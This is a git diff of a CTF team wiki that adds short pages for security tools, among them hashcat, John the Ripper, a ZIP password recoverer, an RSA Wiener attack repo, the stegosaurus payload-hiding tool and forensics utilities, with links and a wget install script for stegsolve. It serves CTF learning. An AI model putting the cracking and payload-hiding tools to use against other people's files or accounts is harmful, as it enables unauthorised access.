git clone https://github.com/skylot/jadx.git
+cd jadx
+./gradlew dist
+
+

(on Windows, use gradlew.bat instead of ./gradlew)

+

Scripts for run jadx will be placed in build/jadx/bin and also packed to build/jadx-<version>.zip

+ +

https://github.com/skylot/jadx

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Tool/BlackArch/index.html b/Tool/BlackArch/index.html new file mode 100644 index 000000000..acc20181b --- /dev/null +++ b/Tool/BlackArch/index.html @@ -0,0 +1,8115 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + Black Arch Linux - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

Black Arch Linux

+

About

+

BlackArch Linux is an Arch Linux-based penetration testing distribution for penetration testers and security researchers. The repository contains 2840 tools. You can install tools individually or in groups. BlackArch Linux is compatible with existing Arch installs. For more information, see the installation instructions. Also, news is published on our blog.

+

Please note that BlackArch is a relatively new project. To report bugs and request new tools, please visit the issue tracker on Github, stop by Matrix, or email us.

+

The BlackArch Full ISO contains multiple window managers. The BlackArch Slim ISO features the XFCE Desktop Environment. Below you will find screenshots of a few of them.

+ +

https://blackarch.org/

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Tool/Cryptography/Ciphey/index.html b/Tool/Cryptography/Ciphey/index.html new file mode 100644 index 000000000..2eb2467bd --- /dev/null +++ b/Tool/Cryptography/Ciphey/index.html @@ -0,0 +1,8152 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + Ciphey - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

Ciphey

+

⚡ Automatically decrypt encryptions without knowing the key or cipher, decode encodings, and crack hashes ⚡

+

🤔 What is this?

+

Input encrypted text, get the decrypted text back.

+
+

"What type of encryption?"

+
+

That's the point. You don't know, you just know it's possibly encrypted. Ciphey will figure it out for you.

+

Ciphey can solve most things in 3 seconds or less.

+

Ciphey demo

+

Ciphey aims to be a tool to automate a lot of decryptions & decodings such as multiple base encodings, classical ciphers, hashes or more advanced cryptography.

+

If you don't know much about cryptography, or you want to quickly check the ciphertext before working on it yourself, Ciphey is for you.

+

The technical part. Ciphey uses a custom built artificial intelligence module (AuSearch) with a Cipher Detection Interface to approximate what something is encrypted with. And then a custom-built, customisable natural language processing Language Checker Interface, which can detect when the given text becomes plaintext.

+

No neural networks or bloated AI here. We only use what is fast and minimal.

+

And that's just the tip of the iceberg. For the full technical explanation, check out our documentation.

+

✨ Features

+
    +
  • 50+ encryptions/encodings supported such as binary, Morse code and Base64. Classical ciphers like the Caesar cipher, Affine cipher and the Vigenere cipher. Along with modern encryption like repeating-key XOR and more. For the full list, click here
  • +
  • Custom Built Artificial Intelligence with Augmented Search (AuSearch) for answering the question "what encryption was used?" Resulting in decryptions taking less than 3 seconds.
  • +
  • Custom built natural language processing module Ciphey can determine whether something is plaintext or not. Whether that plaintext is JSON, a CTF flag, or English, Ciphey can get it in a couple of milliseconds.
  • +
  • Multi Language Support at present, only German & English (with AU, UK, CAN, USA variants).
  • +
  • Supports encryptions and hashes Which the alternatives such as CyberChef Magic do not.
  • +
  • C++ core Blazingly fast.
  • +
+ +

https://github.com/Ciphey/Ciphey

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Tool/Cryptography/RSAWiener/index.html b/Tool/Cryptography/RSAWiener/index.html new file mode 100644 index 000000000..805493380 --- /dev/null +++ b/Tool/Cryptography/RSAWiener/index.html @@ -0,0 +1,8094 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + RSA Wiener Attack - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

RSA Wiener Attack

+

Used to attack RSA when the exponent is too small or too large.

+ +

GitHub repo: https://github.com/pablocelayes/rsa-wiener-attack

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Tool/Cryptography/SageMathCell/index.html b/Tool/Cryptography/SageMathCell/index.html new file mode 100644 index 000000000..965359e98 --- /dev/null +++ b/Tool/Cryptography/SageMathCell/index.html @@ -0,0 +1,8096 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + SageMathCell - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

SageMathCell

+

SageMathCell project is an easy-to-use web interface to a free open-source mathematics software system SageMath. You can help SageMath by becoming a sponsor.

+

It allows embedding Sage computations into any webpage: check out our short instructions, a comprehensive description of capabilities, or Notebook Player to convert Jupyter notebooks into dynamic HTML pages!

+

Resources for your computation are provided by Departamento de Matemáticas, Universidad Autónoma de Madrid. You can also set up your own server.

+

Homepage

+

https://sagecell.sagemath.org/

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Tool/Cryptography/hashcat/index.html b/Tool/Cryptography/hashcat/index.html new file mode 100644 index 000000000..7c2e4ae3c --- /dev/null +++ b/Tool/Cryptography/hashcat/index.html @@ -0,0 +1,8118 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + HashCat - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

HashCat

+

Crack hash to find the plain text.

+

Abstract

+

hashcat

+
    +
  • World's fastest password cracker
  • +
  • World's first and only in-kernel rule engine
  • +
+ +

Official link: https://hashcat.net/hashcat/

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Tool/Forensics/BlindWatermark/index.html b/Tool/Forensics/BlindWatermark/index.html new file mode 100644 index 000000000..32d9b23ba --- /dev/null +++ b/Tool/Forensics/BlindWatermark/index.html @@ -0,0 +1,8095 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + Blind Watermark - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

Blind Watermark

+

Some of the blind watermark challenges have 2 very similar pictures.

+

But occasionally, we don't have the origin picture.

+ +

GitHub repo: https://github.com/guofei9987/blind_watermark

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Tool/Forensics/ProcessMonitor/index.html b/Tool/Forensics/ProcessMonitor/index.html new file mode 100644 index 000000000..f65de87f2 --- /dev/null +++ b/Tool/Forensics/ProcessMonitor/index.html @@ -0,0 +1,8116 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + Process Monitor - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

Process Monitor

+

Check the system calls for process under Windows system.

+

Abstract

+

pm

+

Process Monitor is an advanced monitoring tool for Windows that shows real-time file system, Registry and process/thread activity. It combines the features of two legacy Sysinternals utilities, Filemon and Regmon, and adds an extensive list of enhancements including rich and non-destructive filtering, comprehensive event properties such as session IDs and user names, reliable process information, full thread stacks with integrated symbol support for each operation, simultaneous logging to a file, and much more. Its uniquely powerful features will make Process Monitor a core utility in your system troubleshooting and malware hunting toolkit.

+ +

Official document: https://docs.microsoft.com/en-us/sysinternals/downloads/procmon

+

Download: https://download.sysinternals.com/files/ProcessMonitor.zip

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Tool/Forensics/Tracewrangler/index.html b/Tool/Forensics/Tracewrangler/index.html new file mode 100644 index 000000000..88c293089 --- /dev/null +++ b/Tool/Forensics/Tracewrangler/index.html @@ -0,0 +1,8115 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + Tracewrangler - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

Tracewrangler

+

Yet another PCAP file monitor.

+

Abstract

+

Tracewrangler

+

TraceWrangler is a network capture file toolkit running on Windows (or on Linux, using WINE) that supports PCAP as well as the new PCAPng file format, which is now the standard file format used by Wireshark. The most prominent use case for TraceWrangler is the easy sanitization and anonymization of PCAP and PCAPng files (sometimes called "trace files", "capture files" or "packet captures"), removing or replacing sensitive data while being easy to use.

+ +

Official link: https://www.tracewrangler.com/

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Tool/Forensics/Wireshark/index.html b/Tool/Forensics/Wireshark/index.html new file mode 100644 index 000000000..15e571d7e --- /dev/null +++ b/Tool/Forensics/Wireshark/index.html @@ -0,0 +1,8114 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + Wireshark - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

Wireshark

+

Network traffic sniffer.

+

Abstract

+

Wireshark is the world’s foremost and widely-used network protocol analyzer. It lets you see what’s happening on your network at a microscopic level and is the de facto (and often de jure) standard across many commercial and non-profit enterprises, government agencies, and educational institutions. Wireshark development thrives thanks to the volunteer contributions of networking experts around the globe and is the continuation of a project started by Gerald Combs in 1998.

+ +

Official website: https://www.wireshark.org/

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Tool/Forensics/exiftool/index.html b/Tool/Forensics/exiftool/index.html new file mode 100644 index 000000000..8810a8242 --- /dev/null +++ b/Tool/Forensics/exiftool/index.html @@ -0,0 +1,8114 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + ExifTool - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

ExifTool

+

Meta data forensics.

+

Abstract

+

ExifTool is a platform-independent Perl library plus a command-line application for reading, writing and editing meta information in a wide variety of files. ExifTool supports many different metadata formats including EXIF, GPS, IPTC, XMP, JFIF, GeoTIFF, ICC Profile, Photoshop IRB, FlashPix, AFCP and ID3, Lyrics3, as well as the maker notes of many digital cameras by Canon, Casio, DJI, FLIR, FujiFilm, GE, GoPro, HP, JVC/Victor, Kodak, Leaf, Minolta/Konica-Minolta, Motorola, Nikon, Nintendo, Olympus/Epson, Panasonic/Leica, Pentax/Asahi, Phase One, Reconyx, Ricoh, Samsung, Sanyo, Sigma/Foveon and Sony.

+ +

Official link: https://exiftool.org/

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Tool/Forensics/foremost/index.html b/Tool/Forensics/foremost/index.html new file mode 100644 index 000000000..b9eeb5e52 --- /dev/null +++ b/Tool/Forensics/foremost/index.html @@ -0,0 +1,8116 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + foremost - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

foremost

+

Combined file forensics.

+

Abstract

+

Foremost is a forensic program to recover lost files based on their headers, footers, and internal data structures.

+

Foremost can work on image files, such as those generated by dd, Safeback, Encase, etc, or directly on a drive. The headers and footers can be specified by a configuration file or you can use command line switches to specify built-in file types. These built-in types look at the data structures of a given file format allowing for a more reliable and faster recovery.

+ +

Kali foremost description: https://www.kali.org/tools/foremost/

+

Download link: https://sourceforge.net/projects/foremost/

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Tool/Forensics/stegosaurus/index.html b/Tool/Forensics/stegosaurus/index.html new file mode 100644 index 000000000..1d99eb2b7 --- /dev/null +++ b/Tool/Forensics/stegosaurus/index.html @@ -0,0 +1,8114 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + stegosaurus - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

stegosaurus

+

A steganography tool. Used when you can't find any other choices.

+

Abstract

+

Stegosaurus is a steganography tool that allows embedding arbitrary payloads in Python bytecode (pyc or pyo) files. The embedding process does not alter the runtime behavior or file size of the carrier file and typically results in a low encoding density. The payload is dispersed throughout the bytecode so tools like strings will not show the actual payload. Python's dis module will return the same results for bytecode before and after Stegosaurus is used to embed a payload. At this time, no prior work or detection methods are known for this type of payload delivery.

+ +

GitHub repo: https://github.com/AngelKitty/stegosaurus

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Tool/Forensics/stegsolve/index.html b/Tool/Forensics/stegsolve/index.html new file mode 100644 index 000000000..e72ca9f9b --- /dev/null +++ b/Tool/Forensics/stegsolve/index.html @@ -0,0 +1,8101 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + stegsolve - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

stegsolve

+

Image forensics tool.

+

Install

+
#!/bin/bash -ex
+
+wget http://www.caesum.com/handbook/Stegsolve.jar -O stegsolve.jar
+chmod +x stegsolve.jar
+mkdir bin
+mv stegsolve.jar bin/
+
+

Download jar file: http://www.caesum.com/handbook/Stegsolve.jar

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Tool/Forensics/volatility/index.html b/Tool/Forensics/volatility/index.html new file mode 100644 index 000000000..f7c081c89 --- /dev/null +++ b/Tool/Forensics/volatility/index.html @@ -0,0 +1,8123 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + volatility - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

volatility

+

Memory forensics tool.

+

Abstract

+

The Volatility Framework is a completely open collection of tools, +implemented in Python under the GNU General Public License, for the +extraction of digital artifacts from volatile memory (RAM) samples. +The extraction techniques are performed completely independent of the +system being investigated but offer visibilty into the runtime state +of the system. The framework is intended to introduce people to the +techniques and complexities associated with extracting digital artifacts +from volatile memory samples and provide a platform for further work into +this exciting area of research.

+ +

GitHub repo: https://github.com/volatilityfoundation/volatility

+

volatility3: https://github.com/volatilityfoundation/volatility3

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Tool/Forensics/zsteg/index.html b/Tool/Forensics/zsteg/index.html new file mode 100644 index 000000000..64e3af840 --- /dev/null +++ b/Tool/Forensics/zsteg/index.html @@ -0,0 +1,8094 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + zsteg - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

zsteg

+

PNG / BMP file forensics tool.

+ +

GitHub repo: https://github.com/zed-0xff/zsteg

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Tool/Kali/index.html b/Tool/Kali/index.html new file mode 100644 index 000000000..92360fab2 --- /dev/null +++ b/Tool/Kali/index.html @@ -0,0 +1,8097 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + Kali Linux - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

Kali Linux

+

The most advanced Penetration Testing Distribution

+

Kali Linux is an open-source, Debian-based Linux distribution geared towards various information security tasks, such as Penetration Testing, Security Research, Computer Forensics, and Reverse Engineering.

+

The Kali Linux penetration testing platform contains a vast array of tools and utilities. From information gathering to final reporting, Kali Linux enables security and IT professionals to assess the security of their systems.

+ +

https://www.kali.org/

+

https://www.kali.org/tools

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Tool/Miscellaneous/AZPR/index.html b/Tool/Miscellaneous/AZPR/index.html new file mode 100644 index 000000000..bbe358f7f --- /dev/null +++ b/Tool/Miscellaneous/AZPR/index.html @@ -0,0 +1,8115 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + Advanced ZIP Password Recovery - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

Advanced ZIP Password Recovery

+

Break zip password if you don't want to use John the Ripper.

+

The software isn't free.

+

Abstract

+

Advanced ZIP Password Recovery (or AZPR) is a program to recover lost or forgotten passwords to ZIP archives (compressed files) created in programs like WinZip, PKZip etc.

+ +

Official: https://www.elcomsoft.com/help/en/azpr/

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Tool/Miscellaneous/Velato/index.html b/Tool/Miscellaneous/Velato/index.html new file mode 100644 index 000000000..c8cbe75bd --- /dev/null +++ b/Tool/Miscellaneous/Velato/index.html @@ -0,0 +1,8115 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + Velato - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

Velato

+

Music programming language.

+

Abstract

+

Velato is a programming language, created by Daniel Temkin in 2009, which uses MIDI files as source code: the pattern of notes determines commands. Velato offers an unusual challenge to programmer-musicians: to compose a musical piece that, in addition to expressing their aims musically, fills the constraints necessary to compile to a working Velato program. Each song has a secret message: the program it determines when compiled as Velato.

+ +

Official document: http://velato.net/

+

Download compiler: http://velato.net/Content/Velato/Velato_0_1.zip

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Tool/Miscellaneous/bochs/index.html b/Tool/Miscellaneous/bochs/index.html new file mode 100644 index 000000000..963a0ef01 --- /dev/null +++ b/Tool/Miscellaneous/bochs/index.html @@ -0,0 +1,8119 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + Bochs - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

Bochs

+

Used in a floppy disk challenge.

+

Open floppy disk image with bochs.

+

Abstract

+

bochs

+

Bochs is a highly portable open source IA-32 (x86) PC emulator written in C++, that runs on most popular platforms. It includes emulation of the Intel x86 CPU, common I/O devices, and a custom BIOS. Bochs can be compiled to emulate many different x86 CPUs, from early 386 to the most recent x86-64 Intel and AMD processors which may even not reached the market yet. +Bochs is capable of running most Operating Systems inside the emulation including Linux, DOS or Microsoft Windows. Bochs was originally written by Kevin Lawton and is currently maintained by this project. + Bochs can be compiled and used in a variety of modes, some which are still in development. The 'typical' use of bochs is to provide complete x86 PC emulation, including the x86 processor, hardware devices, and memory. This allows you to run OS's and software within the emulator on your workstation, much like you have a machine inside of a machine. For instance, let's say your workstation is a Unix/X11 workstation, but you want to run Win'95 applications. Bochs will allow you to run Win 95 and associated software on your Unix/X11 workstation, displaying a window on your workstation, simulating a monitor on a PC.

+ +

Website: https://bochs.sourceforge.io/

+

Download: https://sourceforge.net/projects/bochs/files/bochs/

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Tool/Miscellaneous/john/index.html b/Tool/Miscellaneous/john/index.html new file mode 100644 index 000000000..739440c1a --- /dev/null +++ b/Tool/Miscellaneous/john/index.html @@ -0,0 +1,8047 @@ + + + + + + + + + + + + + + + + + + + + + + + John The Ripper (jumbo) - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

John The Ripper (jumbo)

+

Used in various password cracking.

+

Abstract

+

john

+

John the Ripper is free and Open Source software, distributed primarily in source code form. If you would rather use a commercial product, please consider John the Ripper Pro, which is distributed primarily in the form of "native" packages for the target operating systems and in general is meant to be easier to install and use while delivering optimal performance.

+ +

Official website: https://www.openwall.com/john/

+

John (jumbo): https://github.com/openwall/john

+

The download depends on the system you are using.

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Tool/Miscellaneous/qemu/index.html b/Tool/Miscellaneous/qemu/index.html new file mode 100644 index 000000000..9ba22b94f --- /dev/null +++ b/Tool/Miscellaneous/qemu/index.html @@ -0,0 +1,8116 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + qemu - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

qemu

+

Useful when using some DOS thing.

+

A DOS emulator.

+

Abstract

+

qemu

+ +

Official website: https://www.qemu.org/download/#windows

+

Download: https://qemu.weilnetz.de/w64/

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Tool/PWN/PEiD/index.html b/Tool/PWN/PEiD/index.html new file mode 100644 index 000000000..7e522e758 --- /dev/null +++ b/Tool/PWN/PEiD/index.html @@ -0,0 +1,8425 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + PEiD - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

PEiD

+

Description

+
    +
  • PEiD detects most common packers, cryptors and compilers for PE files.
  • +
  • It can currently detect more than 470 different signatures in PE files.
  • +
  • It seems that the official website (www.peid.info) has been discontinued. Hence, the tool is no longer available from the official website but it still hosted on other sites.
  • +
+

Installation

+

PEiD

+
    +
  • Go to http://www.softpedia.com/get/Programming/Packers-Crypters-Protectors/PEiD-updated.shtml
  • +
  • Download PEiD-0.95-20081103.zip.
  • +
  • Uncompress the archive. You should have a similar tree:
  • +
+
.
+├── external.txt
+├── PEiD.exe
+├── plugins
+│   ├── GenOEP.dll
+│   ├── ImpREC.dll
+│   ├── kanal.dll
+│   ├── kanal.htm
+│   └── ZDRx.dll
+├── pluginsdk
+│   ├── C++
+│   │   ├── defs.h
+│   │   └── null.c
+│   ├── Delphi
+│   │   └── Sample.dpr
+│   ├── MASM
+│   │   ├── compile.bat
+│   │   ├── masm_plugin.asm
+│   │   └── masm_plugin.def
+│   ├── PowerBASIC
+│   │   └── PEiD_Plugin.bas
+│   └── readme.txt
+├── readme.txt
+└── userdb.txt
+
+

Signatures

+

Update your signatures (initial file is empty). Replace the initial userdb.txt file with one of these files:

+ +

Interface

+

Main interface

+

Peid.png

+

Section Viewer

+

Peid-ep-section.png

+

PE disassembler

+

Peid-1st-bytes.png

+

PE details

+

Peid-subsytem.png

+

Extra information

+

Peid-menu-1.png

+ +
Screenshot
+

Peid-menu-2.png

+
Generic OEP Finder
+

In some cases, PEiD can find the Original Entry Point (OEP) of a packed executable:

+

PEiD-generic-oep-finder.png

+

Krypto Analyzer

+

Peid-kanal.png

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Tool/PWN/WinDbg/index.html b/Tool/PWN/WinDbg/index.html new file mode 100644 index 000000000..68b9ce646 --- /dev/null +++ b/Tool/PWN/WinDbg/index.html @@ -0,0 +1,8195 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + WinDbg - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + + + + + +
+
+ + + + + + + +

WinDbg

+

The Windows Debugger (WinDbg) can be used to debug kernel-mode and user-mode code, analyze crash dumps, and examine the CPU registers while the code executes.

+

To get started with Windows debugging, see Getting Started with Windows Debugging.

+

Small windbg preview logo. Download WinDbg Preview

+

WinDbg Preview is a new version of WinDbg with more modern visuals, faster windows, and a full-fledged scripting experience. It is built with the extensible object-orientated debugger data model front and center. WinDbg Preview is using the same underlying engine as WinDbg today, so all the commands, extensions, and workflows still work as they did before.

+ +

Small classic windbg preview logo. Debugging Tools for Windows 10 (WinDbg)

+

Get Debugging Tools for Windows (WinDbg) from the SDK: Windows 10 SDK. Use the download link on the Windows 10 SDK page, as the Debugging Tools for Windows are not available as part of Visual Studio.

+

If you just need the Debugging Tools for Windows, and not the Windows Driver Kit (WDK) for Windows 10, you can install the debugging tools as a standalone component from the Windows Software Development Kit (SDK).

+

In the SDK installation wizard, select Debugging Tools for Windows, and deselect all other components.

+

sdk download options showing just the debugger box checked.

+

Adding the Debugging Tools for Windows if the SDK is already installed

+

